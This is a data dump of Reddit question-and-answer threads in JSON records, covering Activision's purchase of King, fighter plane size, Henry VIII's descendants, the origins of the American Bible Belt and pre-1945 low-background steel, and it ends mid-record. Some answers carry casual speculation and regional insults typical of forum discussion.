simple!\n\nActivisionBlizzard\n\nHow they made money: console and PC games\n\nHow they will/want/need to make money: mobile games\n\nThis deal gets them a third distribution leg/outlet.  Also I am just assuming the margins on mobile are ludicrous.", "Basically when a company in that field buys another, they're not just buying the games they make but what they will make and all the marketplace experience they have. King knows the casual gaming and mobile markets that Activision doesn't. Blizzard is seeing enough success on the mobile front with Hearthstone to start treating mobilr as more than an idle experiment. Often its more cost effective to buy a competitor than to fight them: you buy them and gain their expertise and remove a chunk of competition in one smooth move. To compare it the reason Microsoft didn't value Minecraft that high is because while that one specific game was nice, that's all Mojang has to offer. They're not marketing pros or experts in a field Microsoft was looking to branch out into.", "Activision is buying the customer base. 450/500 million users a month breaks down to about $12/customer acquisition. That is dirt cheap. ", "As a share holder of both companies, I couldn't care less what their idea was. I'm a happy man.", "In an interview with the CEO of Activision he openly admits to the company attempting and failing to create mobile platform games. As he claims it is harder than it seems and just isn't in their \"wheelhouse\".  They don't see 6 billion in liquid assets and shares, what they do see is 23 billion spent on mobile gaming platforms last year and a need to enter the market.  The purchased of King was an investment in the future and a return on games that haven't been created yet.\n\nEdit:  I can only assume Activision came in with a lower number and 6bn was eventually agreed upon.  King is also well aware of their worth in the mobile gaming market and Activisions position as an outsider.", "While we're at it, can somebody explain where this $5.9 bil will go to? Like, shareholders?", "I don't price stock and truth is most don't look at that. Price of stock is worth what you'll pay for it and you can try hard to like it to fundamentals but none times out of ten the share price will behave erratically. But in my experience if a company that makes games you play on the toilet could be valued that much you're looking at a bubble. It's probably the biggest indicator to short sell. Plus all it's eggs are in one pacticular basket.\n\nJust think of the 90s tech bubble. Or glencores/xstrata merger (from 540p a share now worth just over 100p slipping briefly to 80p and going bust because of covenants on loans to do with its share price). \nBest advice on any stock is to go for a plain boring stock that consistently performs hardly anyone will find the new apple and it's definitely not that stock"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "aqrrcq", "title": "why do fighter planes have to be so big", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aqrrcq/eli5_why_do_fighter_planes_have_to_be_so_big/", "answers": {"a_id": ["egi4lag", "egi4o3r", "egi5bz5"], "score": [9, 4, 3], "text": ["To carry big engines to go fast and carry big missiles and lots of bullets to blow shit up and lots of fuel to go a long way. ", "They fly long distances and carry heavy payloads. That plus human pilots. The distance and payload requirements determine the size. ", "The square-cube law gives scale to the universe.  Air resistance will go up as the square of aircraft size, but fuel capacity will go up as the cube, so bigger aircraft have longer ranges.  There are plenty of complicating details, but that's the gist of it.  Also, engine thrust will scale with the square of size, just like air resistance so, to a first approximation, bigger doesn't mean slower."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "44ejvg", "title": "What is the likelihood that Henry VIII has living descendants?", "selftext": "Ok, I know they wouldn't be legitimate, and I know only Henry FitzRoy was acknowledged, but what is the likelihood that he has unknown descendants out there?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/44ejvg/what_is_the_likelihood_that_henry_viii_has_living/", "answers": {"a_id": ["czprgrs", "czq3o6k"], "score": [2, 2], "text": ["If he had grandchildren, the chances are almost certain. Henry VIII lived 500 years ago, which allows for approximately 3 generations/century * 5 centuries = 15 generations, which can be...  well I don't know the math but should be most people with any British heritage at least. To illustrate, check out this post on King John (and watch for estimates re King Edward III) , who lived 3 centuries earlier, and do be sure to follow the links downstream to the link to an /r/AskScience AMA \n\n* _URL_0_", "If Catherine Carey was, as is heavily suspected, the illegitimate daughter of Henry VIII and Mary Boleyn, then it's certain - Carey was an ancestor of Princess Diana, and therefore Prince William and his children."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3srxx9/ive_read_that_43_out_44_presidents_are_linked_to/"], []]}
{"q_id": "30f00i", "title": "how did the bible belt come to be? in other words, why is there such a large concentration of conservative christians in those states?", "selftext": "Thanks for all the responses so far everybody! Remember to keep it civil, we're not here to bash on religion or alienate anybody. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30f00i/eli5_how_did_the_bible_belt_come_to_be_in_other/", "answers": {"a_id": ["cprtx46", "cprv4bi", "cprvyyi", "cps0dqk", "cps1dm2", "cps1ixr", "cps2ql6", "cps379g", "cps3i4q", "cps3ter", "cps42u9", "cps43sh", "cps45m5", "cps46m1", "cps5zzr", "cps64zg", "cps65m1", "cps6itv", "cps6uec", "cps75h5", "cps77cx", "cps7b22", "cps866x", "cps945t", "cps99yn", "cps9ghu", "cps9msz", "cps9my7", "cps9q6j", "cps9sno", "cpsacjq", "cpsay69", "cpsbema", "cpsbs44", "cpsbxnx", "cpsbzqp", "cpsd9mg", "cpsdszc", "cpsej97", "cpsfcxa", "cpsfite", "cpsfkds", "cpsftfj", "cpsfx1x", "cpsfyn7", "cpsgfql", "cpsgla7", "cpsgrge", "cpsgv5e", "cpshec8", "cpsilep", "cpsm111", "cpwka4k"], "score": [3120, 51, 19, 7, 18, 25, 139, 10, 6, 17, 6, 4, 142, 5, 15, 19, 28, 41, 4, 5, 8, 4, 2, 6, 3, 2, 2, 6, 30, 11, 17, 10, 8, 4, 10, 6, 10, 33, 7, 3, 3, 3, 3, 2, 2, 9, 2, 4, 2, 4, 2, 2, 2], "text": ["* Immigration: the South was mostly settled by Anglicans back when that was where all the cash crops were, and they later split into their own church: Baptist. The North, however, had a much more diverse group of immigrants later from Germany, Italy, and Ireland.\n\n* Importance of religion was reinforced with [the Second Great Awakening](_URL_0_). This is probably the biggest factor. There was some revivalism in the North, but never to the pervasive extremes that the South had. The entire movement was dedicated to making sure that religion was the central focus of their lives, because the ministers felt that people had forgotten religion at that time.\n\n* Cultural: it was an important center of the community, as is often the case with more rural areas. This was a particularly big factor in the post-war environment when many previous social institutions were shattered and the class system was all awry. The South was also much less diverse than the North, leading to intellectual isolation.\n\n* Slavery: white owners imparted Christianity to their slaves, who adopted it and saw it as a source of strength during the ordeal. Black communities in the South are some of the most religious parts of the country.\n\n* Social factors: this sounds pretentious but oh well. Since the Civil War, the South has lagged behind other parts of the country in terms of education, technological adoption, economic growth, etc. To be blunt, they're backwards. And because of that, they rely more on religious institutions for answers, which leads to a self-reinforcing cycle.\n", "I would say it first starts with the Great Awakening\n_URL_1_\nBut really took off with the Second Great Awakening\n_URL_0_\nMany converts believed that the Awakening heralded a new millennial age and the second coming of Jesus Christ.  In the first half of the 19th century revivalists believed that Christ will return to earth after the \"millennium\" and that Christians had a duty to purify society in preparation for that return. Evangelical denominations sent missionary preachers and \"bible thumpers\"out to the people in the backcountry, The southern \"tidewater\" area and West, which supported the growth of membership among Methodists and Baptists.\n\nTLDR: Around 1900 people thought that Jesus was coming back because the Gregorian (Western Europe) calender had a pretty number on it and they decided to get their shit together.", "The roots of the Bible Belt in the South often come from the agricultural past of the South, and the large landowner approach. Basically, relatively few people owned a lot of land in the South, and used a variety of tools to keep the vast majority of the people in the South in poverty. An example of the small elite\u2019s power can be seen in the voter turnouts of places like Mississippi. In 1936, Mississippi recorded a voter turnout of less than 10% - New York had a turnout of over 40%. This income difference can still be seen today \u2013 seven out of the ten bottom states in per capita income are defined by Wikipedia as being in the Bible Belt. The poverty of many areas of the South is quite important. There is a well established link between the importance of religious and having a low income.\n\nThe increased percentage of religious people makes people more likely to express extreme religious views due to a variety of reasons, due to what scientists call \u2018Group Polarizations\u2019. Basically groups of people become more extreme if all of them hold a certain viewpoint. Chalk it up to humans being weird critters, and go back to trying to pull your sister\u2019s hair.\n\nTL;DR: The South has poor people, poor people are religious.\n", "I'm from Missouri; you must show me how this is.  And if it contradicts what I believe then clearly you're wrong.", "Easy really.. The North saw the vast majority of immigration between 1850-1920  or so.  Before that there probably wasn't a great deal of difference between regions in America.  Everyone was religious to some extent or another.. everyone had a community church they attended.. it's just what it was.  Well after the mass influx of Catholics, Methodists, Jews, and Orthodox, and other religions in the Northeast, people were still religious but the  kind of communal feeling about it that people today give to \"the bible belt\"  really just got kind of washed away.  In the South we had less religions streaming in,  and being more rural what there was, we weren't crushed together in cities like the north was forced to deal with.  So really in the end it's tradition. The North was forced to change with immigration.. the South never had to.  ", "Came to see the ignorant comments from the liberal elite \"coasters\" about how they're smarter than everyone else, not disappointed", "It's all about resource availability. \n\nIn places with more natural resources (rural areas) and fewer people, you have more resources available for each person (thus the conservative \"I can make it on my own\" ideology). The problem with this is that with fewer people, you have fewer human resources, so the few human resources that are available are needed to work the natural resources and only developing the science/technology that is immediately necessary for working those natural resources. That leaves fewer human resources for things like exploratory science and creativity.\n\nThe flip side are places with more human resources and fewer natural resources (urban areas). A vastly smaller proportion of the human resources are utilized to work the natural resources. Because the populations are high and natural resources low, not everyone can contribute to working the natural resources, so people must apply their human resources to other useful areas. Thus you get the more liberal ideology of everyone needing to work together on a large scale to maintain life: people who can't contribute to working natural resources must contribute in other ways, like science and literature and so on. \n\n(This is the part I'm going to be downvoted for, but bear with me for a minute) Generally speaking, the more educated a person is, the less likely they are to be religious. Also, the more educated or skilled/trained someone is, the more likely they are to live in urban or suburban areas.\n\nTake that principle and reverse time. The first (by Europeans) and most populated areas in America are the northeast/New England, while the least populated areas are the south/Bible Belt.\n\nWhen ten people live on a thousand acres, all they have to do is work their resources (not that it's easy) to survive, and only need the education/science/technology necessary to work their resources. When a thousand people live on a tenth of an acre, they're forced to innovate (not that this is easy, either) to survive. They need any science/education/training they can get to make themselves useful; traditionally, religion hasn't been particularly good at being productive in the resource manipulation/survival sense, so people developed technology to get what they needed. So, the closer populations got to urban areas, the more educated/trained/scientific/technological they become because that's what they needed to do to survive. A consequence of this has been that in discovering science/technology/the arts, people found answers to questions. This kind of broad technological/philosophical adaptation simply isn't necessary (or practical) in (rural) places where you have the natural sources to feed, clothe, and shelter a small number of people. The consequence of this is that in absence of readily available answers/science/technology, people got their answers from religion, which was sufficient for their needs.\n\nFast-forward time to now, and there you go.\n\nObviously I'm generalizing a lot, but that's basically what happened.", "It has a lot to do with support networks.  Patronage is the oldest, most instinctive form of governance.  \n\nYour immediate network beyond your family is going to be some form of affinity group.  You have in some capacity your identity and fate linked to the fortunes of this group.  While a church organization provides various narratives in regards to cosmology, a church community provides occupational opportunity, networking, potential mates, social recreation, political organization and various services like babysitting or house framing.  \n\nFor most of the last millenium, this was most people's version of linked-in, facebook and craigslist in one package.  There weren't many options for most people.", "Poverty(google correlation data), poor public education(south-east has some of the worst), lack of cultural diversity (to other religions/ideas (in my experience of growing up here)) outside of disenfranchised and discriminated former-slaves. Also, remember racism is huge in america and it stays, when you have a lack of diversity/exposure to different people, which the south most definitely has. \n\nBut I've only grown up here, raised by educated northerners, and followed a similar path. Not exactly a textbook study, so it's just my experience.", "don't see a lot of discussion of actual geography - The Northeast was first settled/urbanized with multiple rivers/ports. This means migration. Lots of ideas/beliefs bumping up against each other will most often lead heterogeneity of social interactions/institutions.\n\ndown here in New Orleans we prefer to think of ourselves as North Caribbean than Southern US, but even if you included us that leaves Memphis, St Louis and Mobile as significant entry points - you could fit most of the NE cities in that triangular area.\n\nin that geography, with huge distances separating urban areas (heteroeneous populations), new ideas take a llloooonnnggggggg time to evolve in any significant way", "2 religious movements called the Great Awakening established many of the sects and denominations we see today. Not only that,  but many of those places are low income and rural, where religion tends to engrain more.", "The south seems to have held onto communal traditions longer than the more developed north. The south maintained a mainly agrarian society for much longer than elsewhere. During which times the hierarchy in these areas was such that there were relatively few rich powerful families within each community who had a greater influence on the community than the more developed north. They spread the Puritan ideologies in their communities with the intent of influencing the welfare of their workers, which in turn benefited all. More devout followers = less drama = higher production. You can look at the history of most agrarian societies and notice their tendency to follow religion more closely than industrialized ones.", "The South, as a whole, isn't easy to understand and it's almost impossible to generalize if you really understand the complexities.   I was born, raised and educated in Mississippi (MSU '01) and do consider myself a Christian.  Karl Marx wrote how religion can be used to control the masses and the best example can be found in the rural South.  Honestly, preachers are given to much power, politically, and its hurt both the church and the state.  I know someone posted that 98% of southerners are Christians, but I know the number is much lower if you asked about regular church attendance.  Christianity is more of an identity in the South than it is a religion.   The sad part is how preachers and politicians use the masses for political gains.  ", "the underlying reason for this and many other factors listed here is really population density. The influences the speed with which ideas travel and evolve and transforms the requirements for the need to fit in as well as possible like mindness of your circle of friends. Villages are always more archaic in values regardless of country.", "I was wondering when our weekly anti-south fapfest was going to arrive. Reddit is like the Old Faithful of the internet.", "Came expecting an ignorant shitshow, was not disappointed. ", "Holy shit, anti-southerners everywhere. Why can't we all get along:(", "a friend of mine who grew up in Tennessee once told me that the South is like \"America with the volume turned up.\"  In other words, all the good aspects (and bad) of American culture are amplified.  It's the best description I've ever heard.  \n\nSo specifically to answer your question, since America was founded by and run by a specific subset of Protestants for a couple centuries, it's firmly embedded in the culture, whether people want it to be there or not (as you can see from the comments lots of anti-religion ANYTHING in lots of Northern and Western cities).  So in the South, where the \"volume is turned up,\" this aspect of American culture becomes a huge part of regional cultural identity.", "The most accurate answer is population density. In an agrarian region, or ranching, one doesn't come into as much social contact so things like social clubs and church functions serve to socialize the population. People like being around people, as well as it's often economically advantageous to know your neighbors when large projects need to be accomplished which one cannot rely on the state to provide. Neighbors rely on neighbors for so much in rural areas (different skills, different equipment, etc.). Religious institutions and traditions (among others, like high school sports, patriotic parades, etc.) fill that need and desire to network and socialize. \n\nThat said, it really isn't anywhere near as prominent or a controlling influence as ignorant Northern folk like to tell themselves.\n\nDownvote for truth!", "The religious fanatic belt is not just in the US but encircles the globe.  I.e., as a rule, the farther away from the equator you go, the less religiously fanatical people are.\n\nMy theory is that this has to do with the fact that people in temperate climates tend to be more industrialized, more urban and as a result more mobile.  Strong ties and claims on land makes people more clannish and in need of community support and this often takes the form of spiritual/ideological norms, shibboleths, nationalism and 'strong men' systems to enforce them.", "Did the South turn to religion after the loss of the War of Northern Aggression? By modern standards, the entire nation was much more religious and thie USA was approaching a theocracy in certain respects -- one could openly discriminate on the basis of religion, etc. The South may have sought refuge in religion or simply did not change.\n\nAlso after the War, the North became a more attractive place for immigrants whereas the impoverished South, frankly treated very badly by the North (remember, many Southerners who had nothing to do with slavery or secession got screwed by the North during and after the War and it took years for us to recover -- it could be argued that we still have not), was not as attractive.\n\nThe immigrants were of a much more diverse background and this not only helped the North economically but it made it harder for one religious POV to hold sway.", "Keep in mind how majority rule can distort things. It's easy to look at who gets elected and say Pennsylvania accepts gays and North Carolina hates them. It's more accurate to say 55% of Pennsylvania accepts gays and 45% of North Carolina accepts them. ", "I've lived in the Southern US for my entire life, and everyone expects you to be Christian, unless you appear different. If you have tattoos, a beard, or reveal too much skin, then people will tell you about GOD.", "As someone born and raised in Atlanta, let me answer IMveryHO,\n\nIt's so damn hot, it makes it easier for the puritans to threaten with fire and brimstone. ", "They really aren't what they say they are. Don't conservative Christians have high teen pregency? That is not Christian like. Out of wedlock children. They aren't conservative or Christian. They just say they are.", "Its scary!! Get me out of here!!!", "We just got Sunday alcohol sales like 2 years ago.", "Economics: Plantations, ranches, and whatnot concentrate wealth in the hands of the few, leaving a lot of poor people, who turn to religion. Just like in Saudi Arabia today, the ruling class encourages stern forms of religion to keep the masses in line.", "I am not a religious person but live in the southern states. I have lived in Massachusetts for a few years as well. People there would laugh when they heard my accent and immediately assume they were speaking with some dumb southerner. They made no attempt to hide it either. I have also encountered people from the northern states who have come down here to vacation and they complain how people drive too slow and how everyone is so stupid. Based on my experience I would much rather live in the south. True, there are less intellectuals, but there are also far fewer assholes.", "After reading a whole bunch of the comments, and living smack dab in the middle georgia bible belt, I gotta say these answers are spot on. Although one thing though I didn't see noted as much is how the South views itself. What I mean by that is how people enjoy living the kind of lives they have down here. Southerners recognize that they aren't the most educated, and they're completely fine with that. A lot of that is attributed to the fact that Southerners enjoy \"a simple life\" compared to most Northern states. Even those in poverty, or who make smaller incomes, they don't hate how their life is. \n\nOn a secondary note, Southerners also tend to be more accepting of their own kind. Of the goods things down here, southern hospitality always comes up when people think of the south. That being said, the hospitality is shown more towards each other than someone from a different country or area of the US for example. Then again what the hell do we know, we're just a bunch of dumb rednecks right? :)\n\n*Quick Edit: Culture too plays a major aspect. The southern traditions are passed on to each new generation, and it changes at a snails pace compared to other regions. ", "I think a lot of what's been said already is on point, and it's likely this post will be buried, but if you get a chance to see it you might find it interesting. There's some interesting correlation between areas of the world where infectious bacteria are more common and dangerous (often warmer regions laying on and around the equator) and more conservative beliefs. You find this across Eurasia (the Middle East's conservatism being one example) and in North America as well (the Bible Belt being another). The idea is that areas where infectious bacteria are more common and deadly have led to generations of developed conservative and xenophobic behaviors in people that live there. People who first had these behaviors were less likely to encounter strange new bacteria by being conservative and wary of foreigners and new foods/cultures/etc. They survived while other, more liberal/less xenophobic people (it's thought) didn't survive. Thus, they passed down those beliefs and over a long period of time, a tradition of learned conservatism has developed among these areas. When it comes to why specifically Christian, however, I think the other comments in this thread are on point. I learned this from a few Evolutionary Biology, Immunology, and Human Sexuality courses in undergrad, though, so I'm by no means an expert and there might be some errors. If you'd like any more information, sources, or have issues and want to correct me, please do!", "in the past, I have lived and worked in the so-called Bible Belt for many years.  My impression is that the average person from those areas is just like the people from the non-Bible-belt.  \n\nThe difference lies not in the individuals, but in the overall culture.  I'm trying very hard to be nice here.  Red states rail against taxes, divorce, abortion, welfare, food stamps, medicaid, you name it...all in the name of \"individual responsibility.\"  \n\nWhat they don't realize is that their very culture and their antipathy toward progressive taxation exacerbates their worst nightmares:  divorce, abortion, welfare, food stamps, medicaid, and you name it...  The bluest states in the Union pay more in federal taxes than all the Red states, and they have lower rates of: divorce, abortion, welfare, food stamps, medicaid, you name it. \n\nBasically, if you're really against divorce, abortion, welfare, food stamps, medicaid, etc., blah blah blah, your best hope at the moment is to vote Democratic.", "To be fair, most of those people aren't actually Christians, they are just pretending to be Christians. Actual Christians try to follow the teachings of Christ. \nThose who pretend to be Christians are actually anti-christs. How else could you explain their behavior and attitude. These anti-christs go against all teachings of Christ. These people are filled with hatred and anger. You cannot be racist and be a TRUE Christian. Jesus Christ was anti-racist. You cannot be a TRUE Christian and revel in the murder of others. \nI could go on and on, but the truth is, the Bible Belt should actuall be referred to as the anti-Bible Belt.", "Bible belt chiming in here, look the the world, where there is poverty people have a tendency to escape, what few people realize is the the bible belt is also a place where there is a high number of drug addicts. this is a place where people are trying to escape this world whether it be through religion and hope for a better life after this one or through dull inebriation, they are humans, fearful and ignorant of life that lies outside their limited, rual domain. The younger look to the digital domain they see the lives of those in the city and they dream of such things. But they are locked in that never ending cycle of fear of anything different. It is indoctrinated into them at birth and so the dichotomy of being, the difference of life and dream eventually breaks them all.", " > Remember to keep it civil, *we're not here to bash on religion or alienate anybody*. \n\nThe preponderance of the evidence is against you.", "Many of the reasons are listed in the comment but it's often glossed over that the south was pretty roughly subjugated in the post war period and as many know well, suffering like that leads to a society that leans on religion.", "Wow, you people hate the Bible Belt.\n\nHistorically, there were few major cities in the Southeast and those that existed were smaller and comparatively less developed than those in the Midwest and Northeast.  You have to go back a long time until Charleston was comparable to New York or Philadelphia.  This, along with a pile of cultural issues from the Civil War slowed down the development.  This was acceptable, because much of the Southeast was farmland and with the warmer climate farming could be done most of the year, and the typical farmer was pretty isolated.  This reinforced a culture of independence that persists to this day, resulting in a more conservative slant.  They had huge tracts of land, a farm house and not much in the way of social interaction.  Even education was a privilege because of the time it took to travel overland versus the necessity of helping on the farms.  In fact, you would need something pretty important to make you forego farm work, like the threat of going to hell.  For many people, their primary social outlet was going to church on Sunday.  This cemented the church as the social backbone of the rural, country folk. \n\nWhat do you get when you combine religion, sparse education and a captive audience that is socially compelled to follow the teachings of the church no matter what?  \n\nThe Bible Belt.  ", "These type of posts drive me insane. As a southern man born and raised in Dallas, I'm in a consistent battle to prove we are not backward. The extreme discipline levied during Reconstruction did so much damage, that yes, we spent a century behind. To claim that is still the case is to say all Washington state residents make bamboo bicycles. \n\nIf you look at the changing demographics, the technology centers, and the migration into southern states, you'll find a new world. Do we value religion here?  Yes. Do we have a higher percentage of attendance? Yes. Does this make us inferior sentient beings versus our Northern friends?  No. This is the hardest part of being a Southerner - we are inherently played up as bumbling fools. We've done ourselves no favors, but it's an extremely unreliable and unfair brush with which we're painted. \n\nWould I love for people in the south to drive smaller cars, stop showing the confederate flag, confront racism, increase social justice?  Hell yes. It's coming, America as a whole needs to examine itself. We have far too many gaping holes in our collective view on life. It's not a Southern thing, it's our entire country. \n\n", "As someone who lives down here, I can't explain why they are here, but it's annoying as shit and makes me want to move.  They treat everyone else like lost souls who need their pity.  ", "This is also a thing in Norway, and I guess a lot of other countries as well. People with similar beliefs will find each other and group up. ", "I have a problem with one of your opening thoughts. The Baptist faith was founded in Prov RI, by Roger Williams. Before the civil war there was a schism, a disagreement about slavery. You can guess what happened. ", "Those were the last states to urbanize. \nTheir urban areas are STILL the least affluent and diverse in the country. ", "Anti-South rhetoric on Reddit. I am so shocked.", "Biggest thing a lot of people forget is just the old simple rural vs urban. Perception has a lot to do with it too. You think of New York, and you aren't imagining small towns in upstate, you think of NYC. You think of Nebraska, Indiana, Missouri, and most people automatically imagine small rural towns.", "I used to live in Arkansas and moved to Florida (I know. big step up). But I can tell you that Florida echoes the nation in many regards. There will always be a larger proportion of indoctrinated population where education is limited, education is limited in poorer areas, areas are poor because the brightest people leave. But it's not just middle America, think about the middle east. Where there is poverty, space, and ignorance, religion will thrive.", "The choice was earthquakes, tornados, or christians. The south got last pick.", "I'm probably too late but this article explains it pretty well:  \n[How presidential elections are impacted by a 100 million year old coastline](_URL_0_)", "Because most of the people born there, never leave, or at least don't go far. And they're indoctrinated early. ", "I watched a history channel show about the history of America and they kind of said basically when everyone was moving out west and what not the only people who were dumb enough to stay despite the locusts, tornadoes, poor land for what they knew to farm and just general shitiness were people religious enough to believe this was some type of test from God or that God would help them. I'm sure its much more complicated than that but that sounds like a pretty reasonable  theory.", "I know correlation doesn't = causation, but the fact that all southern states are at the bottom of education rankings might have something to do with it.", "I thought I was /r/askhistorians at first and was afraid that sub had gone full retard overnight. Thank spaghetti I'm in ELI5 and it's business as usual. OP, post this in the non-retard sub above and get real answers from people old enough to rent a car without a parent signature.", "Rural areas tend to be conservative and religious.  Urban areas tend to be more liberal and secular. This is sort of a trope of Western Civilization, and maybe all civilization.\n\nLooking at a map of the Bible Belt, and comparing it to a list of the biggest cities in America, I've tagged the ones that are in the Bible Belt and added a bit of commentary.\n\n1. NYC  \n2. LA  \n3. Chicago  \n4. Houston \u2713  (Democratic, gay, female mayor.)  \n5. Philly\n6. Phoenix\n7. San Antonio \u2713 (Democratic, black, female mayor.)  \n8. San Diego \n9. Dallas \u2713 (Democratic mayor.)  \n10. San Jose\n11. Austin   \u2713 (Democratic mayor.)  \n12. Indianapolis  \n13. Jacksonville \u2713 (Democratic, black mayor.)\n14. San Francisco   \n15. Columbus  \n16. Charlotte \u2713  (Democratic mayor.)   \n17. Fort Worth \u2713  (Republican, female mayor... who is evasive on the topic of gay marriage, etc.)     \n18. Detroit   \n19. El Paso   \n20. Memphis \u2713 (Democratic, black mayor.)\n21. Seattle  \n22. Denver   \n23. Washington, DC     \n24. Boston\n25. Nashville \u2713  (Democratic mayor.)   \n26. Baltimore      \n27. OKC \u2713  (Republican mayor.)  \n28. Louisville \u2713 (Democratic mayor.)\n29. Portland\n30. Las Vegas \n\nIn this list of the top thirty cities in America, they are all either outside the Bible Belt, or they are in it but are more liberal than the surrounding countryside (as indicated by all but two of the Bible Belt big cities having Democratic mayors, and Fort Worth's GOP mayor is an excellent asterisk.)   \n\nCities are more liberal in liberal states like NYC, too.  Go to [the election results](_URL_0_) and sort by total population. You might as well sort by results, since most of the blue is in the top half by population and most of the red is in the bottom.  Romney managed to win the 18th-biggest county...\n\nThe historically rural nature of the Bible Belt\u2014a characteristic that still exists today when you compare it to the rest of the nation\u2014helps explain its religious and conservative nature. ", "Ha. This is one of the most fucked up threads I've ever read in /r/explainlikeimfive. \n\nThis was not civil; bashing of religions was commonplace; and depending on the redditor, either the South or the Bible Belt was ridiculed for being backwards. I noticed tons of speculation, very little serious discussion, and plenty of responses that seemed like they were formulated by 5-year-olds.\n\nIt's one giant circlejerk thread against an entire part of the country. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Second_Great_Awakening"], ["http://en.wikipedia.org/wiki/Second_Great_Awakening", "https://www.youtube.com/watch?v=5vKGU3aEGss"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://deepseanews.com/2012/06/how-presidential-elections-are-impacted-by-a-100-million-year-old-coastline/"], [], [], [], [], ["http://en.wikipedia.org/wiki/United_States_presidential_election_in_New_York,_2012"], []]}
{"q_id": "d78kek", "title": "Why do we use steel from ships made before 1945 atomic bombings for radiological instruments? Is it just cheaper or are we totally unable to purify steel with today's processes?", "selftext": "\nWhy do we use steel from ships made before the 1945 atomic bombings for radiological instruments? Is it just cheaper or are we totally unable to purify steel with today's processes?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d78kek/why_do_we_use_steel_from_ships_made_before_1945/", "answers": {"a_id": ["f0y91lv", "f0yciwc", "f0yerjh", "f0ylqxp", "f0ypwly", "f0yrjbk", "f0ysjr7", "f0yt1c4", "f0yvaeu", "f0z8pmg", "f0zb7cp", "f0zb8k5", "f0zfr0o", "f0ziaq0", "f10utkv", "f13o875"], "score": [451, 3331, 103, 2507, 130, 42, 169, 3, 12, 7, 88, 38, 6, 12, 10, 2], "text": ["It might get contaminated with background radiation which cant get removed see  [_URL_0_](_URL_0_)", "Once it's in there there's really no simple way to get it out, also steel production uses a lot of air, filtering that air to remove the contaminants would be tricky to do and expensive.\n\nThese days the electronics used are sophisticated enough that we can compensate for the background radiation in most cases as far as I know.", "Activation is the process when a material exposed to radiation becomes radioactive, this common with hadron radiation (neutron) but can happen with gamma rays too.  this would create isotopes that aren't easy to remove from a material they have the same chemical characteristics as the non radioactive equivalent. \n\nFor most of the instrumentation it's not that important, the radiation dose you want to measure is way over the background noise from the probe so you can get it trough calibration. \n\nHowever, in some case you want to measure low radiation dose then you need to seriously reduce the background, if you want to see whether your power plants leaks and contaminate the farm around, or if you look for direct evidence of dark-matter you need to reduce the background as much as possible. For simple experiment old-steel is enough, for even lower background one you go under a mountain, in a polyethylene tent shielding you from the radon and with a lot of detector to detect background radiations before they reach the detector", "The story about how this was discovered is well documented. The government tried to build a lab and could not get the base numbers for background radiation. It caused a rift in the scientific community for a while. Many scientists didn\u2019t believe it. In the end, it was discovered that all steel since the 40s is slightly radioactive.", "Just wanted to mention that people also use roman lead for shielding ultra low background experiments for similar reasons. Isotopically enriching tonnes of a heavy element to very high purity would be vastly more expensive than pulling it from the sea floor. Its fundamentally the same reason its difficult to make nuclear weapons, though the details of the chemistry are obviously different.", "Great question. Any metal can still have a lot of impurities in it. For example, even the purist copper still contains small amounts of radioactive isotopes that will decay and cause unwanted interactions within the material of a sensitive detector. \n\nMetal harvested from the ocean floor is really useful because many of those pesky isotopes have decayed away over so much time. Plus, water and earth provide excellent shielding from cosmic rays (little particles soaring through earth from space). Cosmic rays can create more isotopes in substances and damage material. This is called cosmogenic activation and it\u2019s the same process by which a cosmic ray could damage a cell/DNA. \n\nAnd finally, if our radiological instruments are supposed to detect radioactivity within the environment, we simply need to limit the radioactivity coming from within the detector. The purist metals will help us achieve this. \n\nTL;DR - isotopes in metals cause radioactive decay that\u2019s less prevalent in old metal. The ocean provides great shielding from cosmogenic activation. \n\nSource: am physicist (DM, detector physics)", "I have to say, this whole post has been pretty fascinating. I never would've thought that nuclear detonations on one side of the Earth could impact what we can do with science and measurement around the globe.\n\nI start to wonder whether there are measurements that would actually benefit from these radioactively contaminated materials being used to make the instruments.", "The radioactive elements get into the iron in the blast furnace. You blast huge amounts of (slightly radioactive) air through it to burn coal.  \n.  \nThere are other ways to produce iron, but they are way more cost intensive", "Related note.  \nWine and other alchohol made are also vary sought after for this vary reason.  \nIts practicaly imposible to fake old vintages becouse all wines/bottles/corks/whatever made before/after will have radiotion differences.", "Since there's a lot of people missing the big picture:\n\nIt is cheaper to dredge up a ship than to use steel smelting methods that don't require large amounts of very slightly radioactive air.\n\nWe can make low contamination steel, it's not even hard, but industrial scaling of the processes costs a fortune; scrapping ships is all but free.", "Hi Nuclear engineer here.\n\nWe can detect extremely small quantities of isotopes. For instance, Cs-137 has a half-life of 30 years or so. We measure the activity of a source in decays per second and this unit is called a becquerel. 1mol of Cs-137 has an activity of 440 TBq. We can detect activity down to single digits of Bq. So 1Bq of Cs-137 is 0.311 picograms of Cs.\n\nThis is only about 1.3 billion atoms, a tiny, tiny amount. (Normally, we talk about septillions of atoms or more.)\n\nLet's say your part is about 10g of iron. If the only impurity is Cs-137 (and ignoring self-shielding effects) must be at least 99.9999999999987% pure to not contain 1Bq of activity. The highest purity I've seen advertised is 8N or 99.999999% pure. This would require essentially 14N. It would be prohibitively expensive and perhaps beyond our current technology to make this.\n\nThis is why we source iron (and lead!) from the pre-Trinity era for radiological uses. It's way cheaper, and you'd have to ask materials guy if it's even possible to purify. I'd naively say no.", "Iron primarily exists in four stable isotopes, one being Iron 54. Through a process called neutron activation, it can transmute into the radioactive isotope Iron 55 if it captures a neutron.\n\nSimply put, we did so much nuclear testing that we irradiated most of the iron we\u2019ll ever mine or use. \n\nHowever, water is a very effective neutron absorber, and the iron sunk before 1945 has been effectively shielded from that radiation. Since we keep fairly good shipwreck records, it\u2019s far cheaper to salvage some old iron from a wreck than it is to separate the irradiated iron.\n\nUranium 235, the stuff that goes boom, is found in 